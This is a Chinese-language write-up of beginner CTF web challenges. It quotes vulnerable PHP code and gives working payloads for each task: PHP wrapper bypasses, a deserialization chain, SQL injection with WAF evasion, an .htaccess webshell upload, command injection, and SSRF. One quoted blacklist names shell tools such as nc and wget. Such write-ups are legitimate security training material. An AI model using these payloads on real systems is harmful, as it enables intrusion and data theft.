比较基础的一些web题②
[ZJCTF 2019]NiZhuanSiWei 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
这道题,首先明白需要我们GET传参三个参数
然后我们需要绕过file_get_contents()
函数
file_get_contents()绕过 file_get_contents()
的绕过用伪协议绕过,有下面几种用法:
用php://input
伪协议绕过 (用于执行post中的php代码)
如果是GET传参: ?xxx=php://input
如果是POST传参: ?fn=php://input
然后再post传入想要传进的值
注意:enctype="multipart/form-data"
的时候 php://input
是无效的
用data://
伪协议绕过
( 自PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输 )
?xxx=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(base64加密之后,需要传入的值)
这里是第一层伪协议,然后后面我们看到包含了一个useless.php
文件,我们需要读取他,看到include,我们又想到了伪协议
用下面的php://filter
伪协议来读取数据
?xxx=php://filter/read=convert.base64-encode/resource=文件名
然后看到password
是需要序列化的,我们猜测可能还有一层代码在useless.php
中
我们先GET传参:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
然后把得到的数据base64解密一下
1 2 3 4 5 6 7 8 9 10 11 12 ```<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
大概意思就是把flag.php
赋值给file poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $QW=new Flag(); echo serialize($QW); ?>
最后payload如下:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后查看源代码即可得到flag
(这里最后的payload,file参数没有用伪协议了,这是为什么捏。其实这是因为 php://filter 伪协议,是把整个php文件,从一个可执行的状态变成了文本状态。 你已经用伪协议,把php文件给处理成文本状态了,自然就不能接着执行反序列化的代码了, 毕竟txt文本是没办法当作代码运行的。)
[BJDCTF 2020]easy_md5 打开环境是一个查询框,输入啥都没有什么反应。
查看一下响应头,发现下面这样一个提示,是一个sql注入
hint select * from 'admin' where password=md5($pass,true)
里面的password
就是我们输入的参数,这里就来到第一个考点了
md5(passwrod,true)
这里涉及到一个知识点,就是md5()函数中,如果第二个参数设为true,返回的是二进制内容,如果能用到类似’or之类的字符串,就可以构成SQL注入。
比如,一个网上说到最多的:
ffifdyop
md5值为:276f722736c95d99e921722cf9ed621c
再转换为字符串为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
这样拼接之后就是 select * from 'admin' where password=' 'or '6...'
所以相当于形成了一个万能密码,构成永真
所以这里我们第一步就是在查询框输入:ffifdyop
然后来到下一个界面,查看源代码,发现了这样一段提示代码
1 2 3 4 5 6 7 8 <!-- $a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ header('Location: levell14.php'); -->
1 2 3 4 5 我们看到其实就是一个md5弱类型的比较,在刷题记录①的里提到过,就用数组绕过 ?a[]=1&b[]=2 然后就又发现了一段代码
1 2 3 4 5 6 7 8 9 <?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
好的这里就是md5的强比较了,之前也说过这里也是用数组绕过,post传参
paraml[]=1¶m2=2
[SWPUCTF 2021 新生赛]easyupload3.0 打开环境是一个上传文件的界面
文件上传– .htaccess
htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错
所以当我们没有办法上传其他文件时,我们可以通过上传.htaccess文件来getshell
我们首先新建一个.htaccess
文件,内容如下
1 2 3 <FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
我们先把.htaccess
文件上传上去,然后再上传一句话木马(记住要把文件名改成1.jpg
)
然后蚁剑连接 http://...../upload/1.jpg
[SWPUCTF 2021 新生赛]PseudoProtocols 打开环境,提示要我们读取hint.php
php://filter伪协议 1 ?wllm=php://filter/read=convert.base64-encode/resource=hint.php
(这里要base64过滤器才读的出来) 解密base64,提示访问 /test2222222222222.php
这个路径 然后看到了源码
1 2 3 4 5 6 7 8 <?php ini_set("max_execution_time", "180"); show_source(__FILE__); include('flag.php'); $a= $_GET["a"]; if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag; } ?>
其中ini_set("max_execution_time", "180");
表示脚本执行时间就为180秒 然后file_get_contents($a,'r')) === 'I want flag
表示用只读的方式读取变量啊 然后变量a的值为后面那串字符串 这里就用data伪协议来绕过test2222222222222.php?a=data://text/plain;base64,SSB3YW50IGZsYWc=
然后就得到了flag
[SWPUCTF 2021 新生赛]hardrce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0); highlight_file(__FILE__); if(isset($_GET['wllm'])) { $wllm = $_GET['wllm']; $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT说不能用这些奇奇怪怪的符号哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) { die("Ra's Al Ghul说不能用字母哦!"); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; eval($wllm); } else { echo "蔡总说:注意审题!!!"; } ?> 蔡总说:注意审题!!!
看到了过滤了那些字符和字母然后要RCE
无字母RCE 这里有三个方法
异或 这里用system(ls)会报错("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
所以异或应该不行,可以采用取反绕过
取反 1 2 3 4 5 6 7 8 9 <?php $a = "system"; $b = "cat /f*"; echo urlencode(~$a); print("\n"); echo urlencode(~$b); ?>
最后Payload为/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
[NISACTF 2022]easyssrf 看题目就知道是ssrf
这里要我们curl一个网站 (没有思路,网上看的wp) 我看完是感觉有点谜语题的感觉了 这里说是curl网站,其实是要我们访问一个路径 试一下
1 2 3 4 /flag //得到提示:都说了这里看不了flag。。但是可以看看提示文件:/fl4g //访问一个路径,就用伪协议:file:///fl4g (不知道为什么//不行,///才行) 然后又发现提示:你应该看看除了index.php,是不是还有个ha1x1ux1u.php 然后就直接访问后面那个文件,看到一段源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file(__FILE__); error_reporting(0); $file = $_GET["file"]; if (stristr($file, "file")){ die("你败了."); } //flag in /flag echo file_get_contents($file);
然后直接传参即可 : ?file=/flag
[SWPUCTF 2021 新生赛]error 打开环境,看到显示了sqli
,然后根据名字判断可能是报错注入 报错注入是通过特殊函数错误的使用并且输出错误的结果来获取信息的
报错注入 extractvalue()函数:
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 1 //显示id=1 1' //报错 1' and extractvalue(null,concat('~',(database()),'~'))# //返回test_db /* 在extractvalue()函数的第一个位置写null,使其故意报错,因为第一个位置本来应该写string格式的字符 因为第一个位置报错,所以他会进而执行第二个位置上的语句,但是第二个位置上也不是正确的查询语句,所以会报错,进而也返回查询的结果 */ 1' and extractvalue(null,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'),'~'))# //返回test_tb,users 1' and extractvalue(null,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'))# //返回USER,CURRENT_CONNECTIONS,TOTAL_ 1' and extractvalue(null,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'),'~'))# //返回id,flag 1' and updatexml(null,concat('~',(select group_concat(id,'~',flag) from test_tb),'~'),1)# //返回:'~1~NSSCTF{bfcd1575-b56b-4ee6-909' ,哟西,这好像只有一半啊
这里思考一下,还有一半会在哪里
报错注入显示不全的问题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 这里我想的是会不会是他没有显示完全? 我试了一下: 1' and updatexml(null,concat('~',(select group_concat(flag) from test_tb ),'~'),1)# 发现回显:NSSCTF{bfcd1575-b56b-4ee6-9091- 那证明确实是没有显示完全,于是我就去找了可以显示完全的方法 第一个方法是用:limit 0,1 limit子句用于限制查询结果返回的数量,常用于分页查询 比如: '" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+ limit子句含有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据 要注意的是group_concat和limit不能同时使用 但是这里我试了一下: 1' and updatexml(null,concat('~',(select flag from test_tb limit 0,1 ),'~'),1)# 还是和之前一样只显示一半,没有任何用 第二个方法:使用mid()函数 MID 函数用于从文本字段中提取字符。 其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数 这里试一下: 1' and updatexml(null,concat('~',mid((select group_concat(flag) from test_tb ),1,50),'~'),1)# 哟西,还是一样的,没有用 !!!!!!!!!! 但是最后我发现是有用的,如果是从1开始截取,取50个的话就不行 但是下面的就可以,咱一次少取点: 1' and updatexml(null,concat('~',mid((select group_concat(flag) from test_tb ),1,20),'~'),1)# //从1开始取20位 1' and updatexml(null,concat('~',mid((select group_concat(flag) from test_tb ),15,20),'~'),1)# //从第15位往后取20位 1' and updatexml(null,concat('~',mid((select group_concat(flag) from test_tb ),30,20),'~'),1)# //从第30位往后取20位 然后把三次回显的数据,拼在一起即可
NSSCTF{838bbc8a-d338-4e3a-83e7-31154205aeeb}
[SWPUCTF 2021 新生赛]pop 反序列化,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
分析一波,首先找到flag的位置,我们应该是要最后调用Getflag()
方法,然后来让他输出flag 这里我们找下入口:传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件
所以这里的__destruct()
魔术方法是入口 链子也很简单: 首先__destruct()
魔术方法去echo一个对象,然后就调用到了__toString()
方法,然后通过w00m
调用到了Getflag()
,链子如下:
1 __destruct()->w33m.__toString()->Getflag()
exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; } class w33m{ public $w00m; public $w22m; } $a = new w22m(); //入口 $a->w00m = new w33m; //通过__destruct()魔术方法调用__toString() $a->w00m->w00m = new w44m; //通过__toString()进入到w44m类 $a->w00m->w22m = "Getflag"; /* 看到__toString()方法里有这样一句: $this->w00m->{$this->w22m}(); 这里的w00m在上上句中赋值为了w44m类的实例化对象,所以可以猜到这里的$this这个字符串应该是 Getflag,这样上面那句话就为 $this->w44m->Getflag(); 这样就成功调用了Getflag()方法,输出flag */ echo urlencode(serialize($a)); //这里需要urlencode一下,因为w44m中有private和protected变量,序列化之后会有不可见字符 ?>
最后直接GET传参即可
1 ?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
NSSCTF{17d6721d-522e-465f-ba28-807adb29e4bf}
[SWPUCTF 2021 新生赛]sql 打开环境,页面提示有WAF 测试步骤如下:(题目框提示了参数为wllm
)
1 2 3 4 5 6 ?wllm=1 //正常回显 ?wllm=1' //报错 ?wllm=1 1 //过滤了空格 --> /**/ ?wllm=or //过滤了or ?wllm=and //过滤了and ?wllm=1=1 //过滤了= --> like
所以payload如下:
1 2 3 4 5 6 7 8 9 10 ?wllm=1'order/**/by/**/3%23 //正常回显 ?wllm=1'order/**/by/**/3%23 //报错,则证明有3列 ?wllm=-1'/**/union/**/select/**/1,2,3%23 //得出2,3为回显位 ?wllm=-1'/**/union/**/select/**/1,database(),3%23 //查数据库名,为test_db ?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/informa tion_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23 //得到表名有:LTLT_flag,users ?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23 //查询到列名有id,flag ?wllm=-1'/**/union/**/select/**/1,group_concat(id,'~',flag),3/**/from/**/test_db.LTLT_flag%23
好的,这里又只有一半,就像之前一样显示的不完全 就像之前一样用mid()函数
1 2 3 ?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/test_db.LTLT_flag%23 ?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),15,20),3/**/from/**/test_db.LTLT_flag%23 ?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),30,20),3/**/from/**/test_db.LTLT_flag%23
最后把三次读出来的拼一起即可NSSCTF{6a640a43-e171-4a8d-93d0-451ef5110c7c}
[鹤城杯 2021]EasyP 源码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } } if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)"); } if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)"); } if (isset($_GET['show_source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }else{ show_source(__FILE__); } ?>
这道题有点懵,知识点没有怎么接触过 首先看到题目
1 2 3 4 5 6 7 8 if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; } }
这一段,看似很简单,就直接输出flag了,但是实际上这里要满足的条件,secret参数根本找不到,所以这段根本就没有用,真的有用的是后面那些部分
$_SERVER['PHP_SELF'],$_SERVER['REQUEST_URI'],basename()
函数的绕过那这里就先来了解一些前置知识:
$_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关 比如:
http://qingwan.top/index.php 则$_SERVER[‘PHP_SELF]的返回是
/index.php
$_SERVER[‘REQUEST_URI’]所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径看看这两者的区别
案例网址:https://qingwan.top/php/index.php/test/foo?username=qw` $_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=qw
basement()函数:返回路径中的文件名部分
首先这里要绕过那两个正则,这里用到了上面这三个知识点的一些属性
1 2 3 1. basename()无法处理非ascii字符,即遇到非ascii字符会舍弃,那这里就绕过了第一个正则 2. $_SERVER['REQUEST_URI']`不会将参数中的特殊符号进行转换, 也就是说它获取到的url上面的值,不会进行url解码
所以这里GET传参show_source
时,由于有第一个正则,绕过了show_source
,然后传入$_SERVER['PHP_SELF']
的值会进入basename()
函数这里在我们可以在 index.php/utils.php 后面添加一个非ascii的字符串(比如一个汉字)或者%ff,即可绕过。
下划线的绕过 show_source用show[source或者show.source绕过(绕过下划线的话可以考虑用 加号(+) 左中括号([) 空格( ) 点号(.))
或者用url编码一下` 所以payload为:
1 2 3 4 5 /index.php/utils.php/%ff?73how_source=1 /index.php/utils.php/%ff?show.source=1 /index.php/utils.php/哈?show.source=1 /index.php/utils.php/%81?show[source (这里必须得加上index.php(php网站的首页文件),如果不加,会白屏)
这里还要记住一点,记得要用hackbar来传参
NSSCTF{66c093a4-43a8-48ad-8254-bc0e515d0c4b}
[NCTF 2018]签到题 打开是百度的界面,url上有个/secret.php
路由 F12也什么都没有发现(后面看了网上的wp) 需要Burp抓包,然后访问index.php
,或者直接进入/,之后就可以看到flag了,如果不用Burp,直接访问,会302进行一个跳转,又会重新跳转到/secret.php
页面,所以我们还是得抓下包flag{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}
[GXYCTF 2019]Ping Ping Ping 综合过滤,拼接绕过,base64编码绕过,Linux内联执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 127.0.0.1;ls //显示出了flag.php 127.0.0.1;cat flag.php //不能执行,过滤了空格,这里用<>来绕过,而且也过滤了flag * [] ?{} 127.0.0.1;a=g;tac$IFS$1fla$a.php //用$IFS$1代替空格,然后使用拼接绕过flag 127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //然后也可以用base64编码绕过,如果用上面那个代码的话,要记得执行之后查看源代码才看得到flag 然后还有一种办法 127.0.0.1;cat$IFS$9`ls` /* linux内联执行,执行之后查看源码,可以看到页面的源码和flag,因为有两个文件,这个相当于把这两个文件的内容都显示出来 这里上面的payload都用的是tac,而不是cat,说下这两个的区别 cat:由第一行开始显示内容,并将所有内容输出 tac:从最后一行倒序显示内容,并将所有内容输出 */
[NSSCTF 2022 Spring Recruit]ezgame 查看源码说,分大于了65分就可以给flag(但是我真的是个游戏白痴,我连这个游戏怎么开始都不知道) 根本看不到兔子…(没事了,后面发现我是傻呗,页面没有打开js) 还是看源码吧,直接F12,查看Js文件,然后搜索nss就可以找到flag了NSSCTF{6545e1fb-23ff-424c-8a34-7db9fd092d9d}
[SWPUCTF 2021 新生赛]finalrce 打开之后看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file(__FILE__); if(isset($_GET['url'])) { $url=$_GET['url']; if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) { echo "Sorry,you can't use this."; } else { echo "Can you see anything?"; exec($url); } }
看到过滤了很多东西,我们需要GET传参url,首先看到最后的执行命令的地方 exec命令不回显,需要执行命令后保存到文件中。所以这里会用到tee重定向命令
即把一个命令的回显写入另一个文件中
1 2 3 ?url=l\s / | tee 1.txt //然后访问1.txt看到了flag文件 ?url=tac /flllll\aaaaaaggggggg | tee 2.txt //这里注意!!! | 符号的前后要有空格
[NISACTF 2022]checkin 源码如下
1 2 3 4 5 6 7 8 9 <?php error_reporting(0); include "flag.php"; // NISACTFWelcome to if ("jitanglailo" == $_GET[ahahahaha] &+!!& " Flag!N1SACTF" == $_GET[Ugeiwocuishiyuan]) { //tnnd! weishenme b echo $FLAG; } show_source(__FILE__); ?>
这就是看似简单,实际有点烧脑 这题我是懵逼的,去网上看了wp 这个题你直接传参:
1 ?ahahahaha=jitanglailo&cuishiyuan=N1SACTF //但是发现不对,确实也不可能那么简单
这里在尝试复制的时候,就有点奇怪,他后面会跟着你前面的选中的字符变 然后看网上的wp说 把这堆代码用vscode打开 就可以看到隐藏的那些字符 然后GET传参的时候,把那些unicode字符也传进去就好了 这道题的原理如下: 我们看到了这里面的一些隐藏字符,比如U+202E之类的
E280AE 从右往左强制符。
根据内存顺序从右往左显示字符。
它是Unicode编码U+202E转UTF-8对应的十六进制编码
E281A6 这之间的字符从左到右显示,不影响外围字符。
对于这个特殊字符,它的Unicode编号为:U+2066
E281A9 这个字符的Unicode编号为:U+2069
作用:作为RLI、LRI、FSi翻转结束的标识。 payload如下:(也可以直接用winhex打开,然后直接复制相关的编码,加上%)
1 ?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag!%E2%81%A9%E2%81%A6N1SACTF
NSSCTF{955e2262-2036-4f03-bb1d-243137e499c6}